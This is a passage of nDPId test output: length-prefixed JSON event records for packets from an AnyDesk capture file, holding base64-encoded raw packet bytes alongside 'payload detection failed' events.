y93JpOpVpMCd+Tti5MHfpU715klEAXGz5w77l32T\/TnZxMts4XrDoyyKxIHV68wu8UrkrDPxoNMNs5s3dgNF8v2Fld0gwQuLlmkaByl1RhSSxsGFzOU7C\/9HzkexbQPjDLiwYc3KfpZlghiuqu\/R1AsiAENfeB44TVeAU\/dJf1U97DXKXcv+t8V9qUIIoClMs\/y7afg8u1v4\/5UQT0uj5wo242xwFVytCgDgfFiz3rJTCsufE+n2ZMxQeFIoZi9hW38+cdg6OOnozqeX5JXtaSsscTWrv41RSSI+31Nno+w4f2Y4x\/KkbofSjp1OUhsi8iQn6NimxP7tL5TbqdNA2JBNmBvlU5a+WfCd4a7zhwJDpLBEoKYvVsqPp+PDBra0zo\/qpDbN6Szd5CGRmuBwRbj51LYwUowbWF3Xku2KYo68wcIFWHZ7MLaPdOt+JvE19uY7kF0vBtoRsocd1Q2avT\/+RRunvPGaw2Y4qhqeyDYPVp4lBDXQCe5lVAuJ9kskYq2kxG1iZU\/YYftRkUksB9ezcT1c2pl70AHLM\/F4IsZqxOZb5t3ALM5YtwoUTu3q8\/l7iw3cY8OxQS4YcB8kkje\/3bfWKt6RhODgvA9LXCBs87k18LqUbeW8r1lz7rDFxsSga2i+sOyoofXNfIKsg4lU3c339+tdleP3EoiUvRunKtForfCRrXO6BMGd160nZp3gZmcyFsy+ZGlHLjwbUOixKjcfcq\/v0zXAxoaQP4kFP41nMvMTPwSDOjpV8CTQ3ZnJ5lW8vv9O6S9feXrejwswfcQZrHA6WVliXG77eotqkh0TKiTwvxqBBAXngYlywM8UkIxnbwW4qjVecIzopR775uXh+XQp1J6t\/Tv+9OKeODGFruRY5iExRQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1524,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +04670{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1525,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":480281,"pkt_caplen":3216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3216,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf\/FAAIAGAADAqAG7wKgBstOUG56PKN2gWcQ25VAYIBKExAAAFwMDDFVZ4hNO+msWOu5nJpkyODiGhuhro9UJ0c1gFkR2Q243y4lEWSsreGLj9hV330B5BUJBl7FDgwkoJZxosoSHnrdO2eFIB40l+4H8OIn3n8k836YHLHjJYvrSZOlwyMK3\/yI3vNr3r0k4K4OSZaOHyks9VFR+aGrTsxc5D9tD\/etGE3dxj2e2094TP8ghklVrC+H520y\/MC7aIm0Ej3msbgli8Ooyn4T292yct\/l2+KejnZTo8Gl61VK0zPRjVeqncxppnBrileXqjHLNoFgNUqP\/AFriBsyDDXOHaCEBvs62GYVQAZbElcbCzGZf7nL4Ntwlak0HBoO02\/vDIdWaPb7FQVQL9GA5Z3kmp\/xdhG7rVo19aubD6mm6QiByZT7L86dyBlFUQj3EPIN2Gvis9cZ9gLmpiv2m82zb21JeZWAAOhLrkY7RQiYm9OJxXeHxb898Kj03EnrS+hDjhZhOHVo2UvXoSP7h7x3Logu9mwWO98kkBEa90yUniJmTlu0Etu\/09IffzYUq7jisFE2deooG3SpHlQgnU01nfPc8kkBMNFAY7c6eKeQ+URDrpihzgPiNWmvgATR6N8ZZywemVf8inoba9P5II9R6mcfpJuX0sBqC9Cm2K\/cGEAd4wCvrhpaUfyfnxKV7BNCQqOJmVDpFgeDmdI6EUrZWHlCgAQM65sYwLYMecBPEXUJh\/MCYrn0Gacrf0yMamwXXaN0rHY8SzTrdp\/LitSTccEINLhkdpraUZLyf\/OnCKCDFgPiWV6zPfM5krFh9IhE2Pxe1tX2IxmyZLzKOkvjabybQU4ApZpRPDEKrFnzDXK0s\/Yye1QIqgdOQunqxo3NMGb\/ID+MfTNNp52TYY8rXMFLvQngRFFi6rDSH+UEvv8gGxI19uVU1w0tLjC7akVS\/fs1NnyctadwcGk10w1vzD43Ik0YFt1BphymKlLzK+RGk3Hj14a4AjZ\/tcCwUV1Ooi\/htCwY+cSLXmXm0MynmWBncXhtYwI1zWHLCz3LOdmjmMsCII2mUDWOaHLx56BwPf2qgZ2Fr8GKMBDdzjkkVvvYllGNqLvfMdTSQ5oRg\/QgJtMXXSFVePhU0LdU7OHBR6ZZoe9WxF3NFKUB9aY4xvmW6qz\/2LOn3WSklPfEUy6f2AJGDX4HKf6kQCnXCPF6UklDhg0tmvOwkEyWAehHlqraIDtB8qL5Bmq6CQfLgfXID0HydEZsF7p4wtX2gZjc5nHt59CnxDgQkM3jdHRsQpHVqrQEvN2+UR\/+1T4Ns9A2u2SqLOXbZBQ+NKQo9PbLu\/l47MPpyvTCT15xJpxXHVdxcp3Sa6TQrNlIqAtMVQJcifcJhYU8xSjN8pxS4EWAHB3B1w\/Ru1Ke0PGIFsONEPVvG9C\/fQTQ5goDzpQKYBaQYZAQJUL3J1HhoSQrS\/LZ++ZQd2eLN7BGB6vdq9UjhjM79GGQaVygYrfxbBrhMaDrgETcBLbEHnUI4KeP0IqxxrplLRtlb0cPXxf6yfNbqde8NnyGLTCpFdE\/zPyf0iuXxxfE5xy1f2Kd80YyUwoqSZ7stZS3aEoym\/\/ii5U1Q+K2HdDCI2dtWRIQRJonc60h2ptY2iS2V6tRq2Q3Jc6n1VoUObDwmz1Il5MkvVxAViccJ3I6GHFewqtkQ+78d7ZNhjjdkEzVdYz5i++v7r8kHAXaI2e6aRjxhLWacVLtjIsfwnUvSpjQh4zurVQA\/R31Ahu7XIqpIG1MjE6CCWoHDdHRGJK+YiR3FIruKPpp8YL\/xc0OGQrprLlMq0iAZYBofQ5L+J0QMspb35KL7a5t+qzLWMfSgcrVujSQEgc2VnxQIZDFrxer7nLqVfC0nwOy4YJ0w5ZzM\/DeJGsIId8Vw5swSCRsnlZIpROoE1meMp8072dh\/d3ctHzr2zzjDvoYta9iScz6dirhyGQoVreSjas8YcljgEO6oNK7ibGibWrnIiXL0qcFNXu7I95zFje0SbLKG5e1UshVsa4TLwjQ5ilmpG+yXghb4phKvk9lw\/nlgBSVEepr\/f4dYQEMS+RY9wPj\/9cwE8OcJfmuaUNUGyxEu0xnglPHNOznNPF3wFG2YVw\/HvO3nH6yYvgczFcKw4wtiWh3yuikVRguZ6+U9Cr+QJhD4FH+SwjHFgQij01kFaVsar3lbJxhkhBcHQx2eqM5Z2H3q3rPtzKOXMa239x8mrjuJBH9Fq1mzITSmpT0Nx1bVr162d+sZHkB1aAN1KBZmLo7\/aWucuvk7Uah58Z2qTQOMYbIS\/deM8UbfAxq4ywarPwzPfVU2xWsrNTcgWHrWabW0bMbBFPe+hSkKUdTlJow1hmwIUYaivoApnm7VVW8xooPMw9NPuWvtP7dUF\/NF6HdwRbiaDziYUq7EGOpb\/k88zBqY7xjc+R81wFGjtCwog6ZY0aVF6Lifr+ARi48bHwxIjjO5c4aBJXnLDBMoTlTMTzbYI55RDb309A47uf\/OyWPss4xcLDEbQBJLF+tCnmIQj0\/WBeAjLZec9cB3alk2XZlLGZV8iT1xYCoAI5tJxcfyJIWil95nQaRF8KZE6pyNtJfoTQ7v\/6fILdDxrvm3W0YMLG9MXMoGzp6AI7lJa3TGwx\/jfbDs3UIc419W1GzpTFaL483z9p6ww4GeXa7RNsHdrxLMxTbweLI973N4WHhDSaU\/APg2nLHtLlyx6ZJNJFNlnvfuAVA1q4znTB2N9IIFFeJ\/Bg\/Gv29hJj1KE9L0hNBx\/FL7YejkcwfDHeAtDRKMbvzL1SqVioMBM9z37wEd9TdWVfsYkqt2+DaTcwDelSaDYEvbhKsR9THYxzUVoEWAnz1SZrD6fpuNfc1pbRqFOrcuz0j\/XvB5Dslw9f2S1AfrqHPh1efamM+3x\/eCbES\/ass0tA0BH\/3HY+9iYCS2EpCUiaBm7JXHvKvF4Uncwu6D\/9o7h5x+0Gznel\/QJgt84SmklyLczmoWTUYblCtcBI8N8f+edyK9\/PrSSHtIvC4N1YrbC3xJP6m6TZpUaWkJDT\/C7+srwhRRblqyldm2zgOjGb7O8yx8Rz8BxNrUWudwWV+wImHFFeACLlQtnrngqCAcf9QDVqj+8\/pGR0M3CjjcXMkvLx1Wk\/m1KjwDkFjD3\/ZGcZwI1nIlKkPkhhdnvoQrKW3UQsaK5s8z9bQWmBvDcOVOqqUS+je4MZQN8eYQWEVCvQZT8rWud\/LJpyLpn8qoj4ZdFAgblDdQu9me+2f+\/+rt8us2YnJ3m8X1ZiiqYN7FBs4f\/Jy6o0720r2UtVBFn0qfmCd9psVieVv0+T\/e9SeX7ex+Y876x8rM8oBvWYM+r0WuV\/l3M6TJMRwmOpnESAdeQjaHUrdFAHI6Twd5hzVR4\/Eulm1vgGogE6MFNISaSV2uFxn9Tx2dYTxqzwHybIT4cROlBWI9iI93gz9Jd9u0E2ue\/h+4KRlkaj73aREC8sMA1uxOWbobkZnQMhOeBUpkefkjz\/1c7ahCNDSm74XEpJQ77FrXd647tau3k6\/0EvUodMJP\/NYq2sauHFBuDlxjZXSjF9s+LUkgr3uiD67UU1YOpEj\/qEudyqMfVePFHE2yOlRtYkjIdMcWMlIu4GqI4ti2ok2XFH5OGQ+9d5rbvE07GOOc7Zr+V8IwWtcdyjIw\/9YB2F4VOFDOQFubpwLS+6Ni967akhXlMC+KXzhTqk7DyVYCweJLsKVgibyCQ\/it9o2jzgtUCjJg721gk1Ohh5yKfFAoV\/QJJCdCu2NihlxEi0wXyHxGP+FcbJipfhDg60Y\/Yd6kf89bTwT56NsO7iSXY1wQ0Yy4oCyr4DXBvE2hVX5djvC6JBmXnOLalcte762SpISFeIOvX8uMbMIsTx59ROAZwzLZErzS78IA6aEtSkfxBl09nhdd3L18ztOoT64EYgfe6o7Rg6ITeNwkbfyb3ZJxPT2+OKLm7i9i2SpeVeKvTV08g6BlGQnVtfvDH7ryw\/mvZt5sApirvCFcF4UTMhm2FPWWnzP3jfSN9RY2K9qrnzYBPHSM2hmFr+558hdH2vtTuD+mDHuBz6h0iK549sbm\/6Gy6m5XRdDIqfjL+Ev0NDvliGnXnH3F2BDrarqLe1G7hNxX8GUWHdmG+GWyQ2qfOBSiKbeiNC15X78JSLN+JKHiVIn9Fbf33KLnr\/s3TbAA3IVGPK+XIDihkky7y3gm5RyTLTwOJGIL9ZvAFA2sYH3w3E5k"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1525,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3182} +02553{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1537,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":509869,"pkt_caplen":1664,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1664,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgBNAAIAGAADAqAG7wKgBstOUG56PKPIIWcQ3Q1AYIBGExAAAFwMDBkVZ4hNO+msWPeOJsRv\/URNkA2afjs+++D5XVNgVVfJB\/QwWRagUaduU+Z\/+avZv4X1Zco2\/xEn43yki2\/VtNauweFDo4mMVpdJX8LUt61jIHvUsgH9OUdi7a4Hv\/AatLBMJ8HQ0Vbb0e3KcTWiUj2oqtAOMYF4NPNXAvIm1NYPdW14+s1y0cyh+qs0PBwhS0sp9fXVic45KkVZkC3T7lDGFl+06FlDek2lyVttcMAnlJT+e\/YRjbL0EOX6p9z0YfC2D5njb5651nX\/+xIgd1rlTgb1lfCBjYiUquHqcJVAj1FB\/JsOa66oP2dCMlJ0eH6at1K+lT969TQfQ3EvBpVCBzYI2s3N6mdjYvcOoKCs9Kgsi5h36Uf8f4d2Tj0Rr8GRGFTLKAlKzrAmQ8tfthPoZTNPSgJTWPVcGHdYAJtGQ35pQSPNUwmVWuq+fTXdMjnkDO2QllLaIodW3FyT3jAbLOANKnyL5O+Y\/KhbZ2ejG+Bmsty925wbPd+Hj4iRyt0BWiqBev9pePRT7BJcbYTveAHvO5FeJpEbF1fTad+Is0l5FrMSCpbvhKK3qAfk+sSHfqWgU382Cy+u\/CPMurJvX1+uLfHUX8jOSeB6FyQ4201V1in51iAVTRzyPfxc5G3BxibZEE\/OH\/IjQZ8NwcnYHHsnMYTVw+GVUdYuZrTMkKdHzZJGzycL+fVnoUiCp\/5zVG6keY2\/MRNu4eG216cm2Fm8iERyaPjaV+w1fSoRcsomAowm8Y3jiyN7fmUVw3B1y7K2FJBI6zS+gQpoNuh0DouDr5BpPVeT+sTJ+PFHsP\/pcga4sgqnN7gnYOLwNXbObvszUuALfWZmX2phrZGITejFIu1MIoXPt5ncsuRgKDj\/8psDmS2rCTiqkqBIhHMEGg6uuX0pHchcdSr2QM+Cy+8UsEGccOhgnyOW+6D6pc48Z9nF\/6ijGH09QZa3Fh2fDBYlzn7TJbihneQGMe3HEOuq3Va12QCics5N53JTEFRRixDTmrjc8zaBLjzws55Y2ycB6IcJ1kaL69Gz26lNNnnZLb8ES7JaZ2ziG6wwI\/OMspCRb+bKfOYipLRD1ldiefBS4a42Nl8rc3og7N\/xT21hWKnFwyt5+gKUhPdeVDUKvyJ1Gc5TZG5EJt0SfrJLBkSWWTLjG\/mVeicXXgA24ZtZFAgjS4VxY1uMoNHByt4HwhDvhjRSbAts+uap1YIZ+Mla9xDQI45ocLDF2A4krRsyG2m4LBfw55kJSwrQms7LG7omQUjaJmiEYmdDeBYO45teUXc6wwVtsz1TJSi9JHtlQuvhnXuD64GzPCJ2EUPQEnenHSvCUkm\/y4HUXBLE71\/4ZVEhvlE\/SXvLr4GQm7Pgam6RB8itQZ6KvwhwHzpyBKvjLUbVzJJSBet1O0AbD5d24YZRxIO3EnB7kO1ThgUmOYIoTbxac43m0dHI37ZaN3I4pWIoo6fJyTHShjtXRqZtyAvqCeMjcDVtSRNEdP1dOdDxADFJ0J41PeXoCwHKKisRvyPpajcd4vBPTuYKU2pkYJ55hvkHJiUPMutFrJD+tu5kekGLhSPXPf2l9kNB+7PX9lv5iA9mrhpmTC+k5\/bEU3532Rr9116xhrQuAo3SLLXbgR1HpIxaHiTeWFvtQA4uf9TXU0KJ7xOTr38UoRJ1RdVKuHR+cNq6gH3MUc0MNiiOGbLTjPVGhZr8TdVSVDUxHXpznkBI2D1XCTVNAcE3YsZyZippIyjFFuErbiU1KXEw3wvVdapeAtY\/SJILi+z+1AWepso1+EoRdg47kEXQShTUV9t4BbU1aqrblEAv3JTWJUpkqraqb11tmcapfLZ9kpofnzuPFpUM+QiYxQYqDEdOUJjEoQ7EuojpAYNZNohxv1uxVfLFIAh8FidwaHnGJalRTA8NXm0QcHX1r97HuJsbEjVjlul4yqXkkeghmCOPz1CiNmKzHMmc5OwlWiKDGM2kxjenMxvsgVLbPO6EyWIiOIo6txGz5Y4h1RBWyxHwtGHzaNOYBtK+V8q49nM0kJ52TfC2Fw5SH4qqIdemSoa3FhhANby\/uByIDjvFjpB6cF+GcxJXX2xHbRnaA0FJVbwDmcKsI\/+8x+1P163IsmQDBErsfQFxRvdXYtpHyXz8="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1537,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1630} +07823{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1542,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":511885,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgBpAAIAGAADAqAG7wKgBstOUG56PKPhSWcQ3Q1AYIBGExAAAFwMDFXlZ4hNO+msWPnQH1fUD8EDkMnm07ar6iU3lDvV9rQPjHQJ2vLyZO22iOXPMgrTazjCVxwzpwkJ0Q7SK\/wnCCJVGT07r9QQiOAH4yB+\/VunhnS1lPI3gnN39vMaGrjSZFo7S4gSajrnju5Camm0wz4SB\/L7616KALiV7gaP0vXIEmr41cXzF+q0NKkIqymQe156ubhYMx94PHaiQJ2UhOIwbLNc5QWVfh8lTj2M+X2ot49QEXfarFIy6S2nFvOYbVf1Dt7mWA4bt6DwnmW7kuHqzJ4K4ULBopEZee01zx44gcUZy21gMq5V6rV3rFOQYl2dK9INBz+eqBqYL7saRXa\/gsAslATfrbvTsKs+J8oMRuBuPnkpFLEG2IidhJUk0KjESWozrygxr2DtudJ5Vgcdaw+ZwKvcKEZcnJiikSRxZucsCdp7gPpWsGlAIA8AaCe9dbFPG7I6EM6UpWAX0ov5cE\/94ND0VKyUH5uUmfD8CecDTbS16sM7ytpvOV6ZpQBboPJgppdM8ua+ItV4cx+gOaIRhPCQ2LDQ9VMABvowvsyXV0vPjWmFPGw30t\/mJe0zQY0Ki+580PGwEjI80rSXZ70NC8jVd6Xmje5XPUznZ5bN7AGQpOlyDYj9xPK1PeZYnGkPxfdUYkZZy5xC30z5MPfZlOeEtKavLIQYVsBn4HVYMqzGJfdw\/iuEK520sX5h8WQzqlqRyj5a9i7AI8FhNfn\/YoDDeFPOMc47KyqmdXDCivOqeOnSSnmCt3ZX9RfkQMHpIEedr+GGGTwKSKRpN4lAenx4fNdcTZJhE\/2ookp8a+1Z50HfrtMmgo9h0yGQRd8JMrzUmorN1gIR8+ZCgzKUTC4YiqzwV7YT0jVGwMoTstJ2L8dISzd7srAkhQsjs0o8l6LdDd6UgukR+3mdXyl4Ij3wtdFVmdYaEM\/DWaIuOUbhxAn8uqZ1eTmN1PeRXQNryt6sPT5iIDWcxE\/8M4EDvUS5Ij6v37kNYHIrfdeLmbQF239dkzVnYJ3vEyAH2QApYsUouxW6AWae1hV7tk11zDle24FvCCc9oGuyY2YgP9NE4sx3u9Otkkw+iEwm3XZuKv6uD\/FL5NwzMhBpg8T0D9SJ0q9ziLb0KGA6urtA0qEhgw+Faxm198d0kirw\/6LH62kTQkin5jfwZhbh+rHacUHPdzHjDCuX1T7kexjYhWJjKKGWZBeCBLQKCa5JPnYBJOXVh8dgm42ipH7R4tC4ykPCcCuignsf84HdXNHWaaJRgWV9GuTKxRQiS1RnRl8QyQ+o\/T78bxRrTiBUwpt6Mbt5gVfaNREc7CzOUBdfu4Gh+Ee3y+mJlcolPod6K5RKVL+ODG8pbKHzsPWBmUcezy6zt0ETFzNWnP0bXxssru62Q6+AaHGN92ucUIoL+ZztFfGqdjG5B0hD\/x0DupULSntmkvfiViJJTFRh1+0So6UyFEBA8aBH6\/3Izyeub9RrXXSjvxJcjGfzw4d\/Jb+JP18oRl52GNv2zV9z9v42GqxRKA\/Ocib4zzqxBUYzjqxhYwydU0Nr5L0LVU03l4M2ERODxUsdU7cx26ErS4ddYk71XrrRHmqdUwYpuQIelH\/w4v9zprG0Fpj7ZjE\/OZyDOpcWbFZabrOTeIhloUXaKs9dS80YM8zq\/g5OCRQL\/QUMwiVMV+P+6M22U8gvXo5kwaxNwmg+D4YREWwKvrFlaaG6clnbt7CLveEoqi2LzGW50xtCeP\/6WJjAOvhOcNBstfUQNL2EQ3kLrevV7boT21o+BIUe3WTvpe3sAGwb9lvDyUx6Pt+\/H0dVgjYCjcBhATVwMe840j1EIpGHlnSG2n0C2hocRGtxq3Jf1Wc802nG6U5C\/ruKrYZ5sWf0tImo3IeC1B5RGdbloVFSyLiUmghVdSRaekmvqHCFuLrxblYpe1ay2ehiaj3nZJYC6oPfNt6FQ+zdhGWlZw1drNMRjF0m91E4FKw0pZRWktJzyy7yVqgcNWzQ2+pRBu4BbBEEQSNxJNKmJGV+MI2JDC+7jAl5wJdgmZ6RZM+9ktIg2hKfAQ+\/MiqyXeSU0Qm4IkVLL5HUcNVMuX7tSBnmvyzIoPXP4syFVpbyR4994tWmI929lDOGFIO1dSBQ1iI7JOPzSJGGZZvTx9xFhaKDfs38b0Ht4hYNE\/9e5mhbai5whXR+8BQS7w\/8NVC2MY6ioCQvE7fmp8eVEgEafExWYCXcrh1vL+ot11puxfwlfY\/dpATzruBO42ykkcmPfEq65PORYgk2+EgHDIPbQv0484VDOjTa2c4D4cHeSXLiLvGJywKQBAi0KyY3sZhXhMpCZaNb+s9iJp20cbzEo86YuqtdZDurKk5cCIe5VHc7EyTW0W\/R+Rc\/zidWCAefssyUWxhMOsaTMkZYGKFjX\/2AbWfXmi8TBhuC33+TR3aVbjpI6oszgdY\/JL2oO16sPH2x7SYcJLKnLdMoURd1UACKiI7nb1Ko6Ri1h9glPRd8hLeIwETHmcvvFD8O1ShdqTAlbIu1mlmlPoQ+rzmYfIry4\/cveCftzUEMEXVcJr71GaJKFphX2gD+iwyCDCvcggYuvLwtuYPVwcuYWC1uO38vJxes3rxHY6dPinNCBDSQINtCmH2WYv8\/cmKaDT\/mupZx36cKamxtNKXxOkHRJISEjkZha2q3NT+ro9ID8xzhzBA+q0YuMMfxFk+AcukuuMbTXzcFfcT3DLTO1P0FSKwuuUj+AqkRB8sTsjQKNa9+fhVpicBKq+epNeLnUC3opfSYHlc5n\/rV1RBOFbs83DoWcam7beOhaleVmAxSz7e9DSXvc2kxSct1Lgvi7lPhOEFq7laNtuxUxyTEWzlKgZX2KbujKZ6Olnk7SmIjaEMfPVo6PK5Yjr52HnJSAZBAsK\/odyutNcENEK9I0Yyd3bB\/3Bt\/sKhk5caRXYS\/gBTWQ+8HCOCTz\/ivPSbfWNDy3Ifkl22wSJBbhuj5zJ2j3L6xLwK7L6ceas0BT7yAfuXgvr2iNwY3wCVjxWx20yEi6hMyl0Cn8A8GA8d2+qAllgP3w3oC0kkcsgY6cf70eNxlp++bBucvUKolyXe9jqJdghOGqB7UrKChRfbw61gCF9ZUQB5h3rpfXQUwGHx33LQqZuRmCXyOKTv210SoR\/4wh98N3XRmzmTFeRw2Z+myorxJRBjYeeG5X+cngRD4Bzi0yMEOKqTf5qouJ\/35l+sDMija9AsSSxeA5J1F8mZdeDPZvz7AELkG+ruqRklXTpv8zJJjO30ZzneycgH4B1nMv\/WZ0M6KtW9a5AvJN2iK+1REy+feqZD9v12w3ekv8rYLTM8J0DYw8f+5vwj2zCSz+fb3e3cFJhDxUeHKJC53nT4WCt1VvdDct+KiZr6X+mqwaC7HWAsBD4yHUG7g1mvxAYwQN+GOY0RpTTonsLeXoSC7pC9OqZZ91zNcqSsEB69JOSjYX9CHOuZv79sZLfbw3usYkmUu0JFoOos\/wBgFrDmQB4t9HDjnNdzFdqAs0ttQfJha9gb4z4wTw7PcR7HjlXufYkJN8+6Ch\/jSxPXoEqu1Nc4ObO\/Sf2lWWd0aFXDKziP2JShReI3D\/eyirrBdLRfWwVb3nzYYQnJ\/IvPDMGrFOpUviBOEaDXbGIWsyP+ckc5Sg221wUvzC+itRBe1mszs69BhYiEHS6fw\/5Uc1HlAg5oUmT\/UYcpsOCinXt4FawXFBR6Gn3gmn\/Uq6WyQFdrK0+hVkswbtyoTsaFQThoNf80x1fSpHzIyocNNUYQrur9BIeK49iurEJqeavux\/VyIdUBR0OOyy33kNpDEmGdC4zOORR+z7K5TT1idqhYbYLAKScjoYJSRyW98vZdlSjXPgTgQczSp5aWDx5v2BrRlFoqUK8OwcmJshVp5zLRzwR4DgDvEEJxLqzTEHdUgtRmHDe6IuVXwRye8V\/8ImZ25+Jl563WT+lUizQvjriJlWkIykhWSe0SSsbvuHrShXP4wjreMd251oxSdcf7Atk2ej6UBnJ5bYZiusiyr7UjizDyTAx4UsqtKoiNrvVEjzN+5iF1f7+B16w5p1My7bKIk+MOvwFv6ckdB2uDd2Q0f5juCOM9LvN1PVMH6KvLtVvYv6q+Z0AD+R\/EIddS4dmsH3OyxsoW95qJ3+W\/lanHrbjGbTE1GlNDO6YSM9bxLm3Jro9sQnpGJQsqhlnLfRxBcpg1qOW6tlj3YIyjQw+2IcZzcE+1J\/rFIqmhAZm20OogZLiarjme089go0Ie\/Pu8mb4ktReHKswuJIj7u7gFre62C89sdSuXki8YQ\/+zezwmsDcRTWZbTCXhW99cALqCW6mh0gPwhk9qNf\/TkcM2OciQcF1VhnvBCTRp9XU0Jx84hRLeH6swVC4hOwJ9P178HJ7iD2Pn7eCeGRbfBxc62aOCdyxID1W44C2hF7E7OOEaiE9TnG17vVIDRvFx5jlXLbuk3TthJeohEVBc0gP1hWeP3dawt\/AaY2hTXLZMcucGwvHWBr4ojdmhmSievFlfBDC7bLOELftLh6udu99CuWw3FaP8Lcq4S7ye4L0w5t9s32IjAESf2rSukiGlnjJ8LMfd9v14jGZri\/ZkOBM9DxxIynxolyP4eGqEklvDs06J4+ZEwOSPscMU\/3ttaXioBVPBbM6WVMsSnDuvs5IN00ByiQkoVJaoKBNg6ShOJbkfy+uN19oRePem83xRE4oE23plMHH37fEH\/ORBc9YKO2UEilsKDlBUDOOt671kw9S+Jy8DCC\/di0qaw\/DYkyRVMeUNwS1KT2hggWpJ\/pAI6TN46NcEp2Q85UCF0IEXekkmkCoFZ0v4E4ZnAwv2jBXO6Aaxbp295iCEo\/KrQR2VGO+7C++dD1+KE05+HY0S+xVYVBGAl\/drTTMIMyDvMAwwUVf2ONkBZBhhIxUq80Qva8IO4h8c2j4TP6Gyl\/EGHgkpdamv\/FC+e8S8yrp2A5uErZxCWnzy+5JsjCZOVLpZaURJiOBv84iQ0kf9yukiqbfrtNMjvh9nK1p9AaXNXHKmOLahnXpjpIwOt\/aUBuTv5RDAUJWvBcOeHRp5zJ73fCcC2fx9rOYs0o7hxLpSzvwJZwjJl1TxmzOkf1BIKrad\/\/A2jZDFCR2nH3b6+wvPU+\/AWATB8n4cErCrjxtjZA46t7dMOtWT8thW0aPGZOtKAykp0\/W\/dQQGRmE\/+HLQM+5uH955QGA4YRldCKawWuFWRbx3KsAXRb7VXf8YwZiqF1DPjW29eVfqlRV8ESD5Yag2sRB\/+7xJ65NHNmXHQe2GyyBfoBzCkqMDC\/lUngXAX\/uCsxj7Hg97Vcw9ABPdjhs63DpB3tSD82kUcLaNKhEAyfXkukmgVAj13I8hcYAkX7fJNVCQScas2jjGjkI89WBe1ZYXW0LKJlJlszliXt4084a4KSB+UEv3NxMdJEWFs5kQVSTrkxCWVMp8K8aOXRcc28cbZUZfEBK9iyujbaKSLZ3n7YdDvDW8OpZJaCDp1aBP\/Dj0TAITZEQ6B5LjoVn3c23sMTICkv+1tR\/VoisGBi+RUzQOT3J+jQ6kzj42AoC1oZPxJkH\/DxnjvRSISrmzlCZmsA\/sshCK23vF58kH3z\/o\/zOl40Iz2CnQzxZjffd\/vKy9r3ps9xEr\/BUUXmCA4j4vH\/Vu8MjJCDhcCGBR1YqLLY9KzWHn5l57KbUEV8obl3ZI4PJVGi2+diM1sUDGRy9gFPDT6Uo80IELdO2I790GAYno\/HqTnkAZ0DZhcVZUMCV1TiWEG1lVeh+aa6RvWtzry2763AKJrKzBos4JaQpweRIJ2rhMh2SJpBs+MBh3IcjzBGcuNYVh2LLHavHQqF9sB23hgN3xfYnnFw+EXXbJZ3sH0FvP1kAd3vJ9seVpNUfjyT8EaOpqS43kl4oZCDJcQ7EVoz3Yj5QEJ+l0KqFiv8CqMqs743lJ\/s2ygm7tqaYvmiflwaFdfwl7uvum\/HTRbFySaB5RxNNc9aTIHNejSvCuYq0NM7aIo\/Ru8TW+134uYD\/bHaDG3enhEoD8G14q\/LYLj1KqcK8Am376kEblV5yxB\/gpM9hoqOfme2DzBlWVscWN4sUSIcbUuVqebpuLvfCRC2rcRmGq2G7oiFYSVkjY6r5ygGjTThlDCIJ9u9v4vqIaM6yMcW9exWnT2tAjcRWg8b1yqK+e4tEsKeSmS1IQHPpkBgPB8e3EE88k+DDpwMoXUThl+OXBehhtyLsUVVS9vir0PFfCyu7l8JyHQky7\/VMPMznCRzfwEXZvUySCz3lYN\/CAG57USObelY4KDTZ94dnU7SF1p9jh5+zHP24BxCsX7l4OQns9dO9YeWovlbw2dN+xTmYuzbbMWf6Uwvgr4qH6p4hqO7Lmrwwp5DYNrERi+kPtsWuUsBJ46DoC94FYESa7FEeps7oQ5\/r29pDGGhvilB2paOIwXWjUuzuqMR9z+jkSojzda9YPmcybu1OqbQSQZIYPKnbxoiV3iMEcJOT257+q5BNuVfY6VREFbr3qiSo1bJH892yQP7hRmaITwk4F+jrD3VrFyhtz1uggQCmIRzcagmSM1I6LQ5YO84kWDNWx8lS1AmAwnqAcNvxXW4N14VHxwMdU4m7QbyO5jcB2nSWf4sVJOeCh1VFbzBR44K27HeltBCLJEkOk6slEsvxIqklWkYzXNUkrh2POZa\/ltLh2DG5wOZxB\/F29qjLov0CH2MONNS0wXSoDSxTbyAE2osR3FyKynLgAKQ2aPO7ZTenODZm4mA8O9is67fjeRlRvhifS5qxi+fz\/Od96LKyP33JBV+J7JIH70jOZFua\/d8j22Ujr71TWWykzTHTUKDdahiOe0GKRsAXl0ZOSHl5tLNWRmm9tnqerrYp2JK2WRTvKB0tdqsyTsdFNyxVgXIxjCcMf8NpxtPhHh5ZWFt8woB2TUVPUNGSFItHBIjGDRacp22zODVEjk+Dcj+J5x7RIfdqz2f9pYYHXtrzdBM8WVW7SbraJVvarWTpIyxa\/wZR8wR19Cj4zNRUgc\/meYdIprW82pN+gDJ1mJvRxFzxFntFF9uTGf8z9j5n\/CaMf+ppOnqH6ePTD\/RIL8lAK4BhSAOiYQUkhtW4GxrNNK2JQ85ZVgiluBvLyl3lHC4UCzyizo+QEPxiH4aG8MqG+Yr3DDlOUJOwcnIabctRcdKoeLm3pebNtVqQ3ufw0Z2m+ggL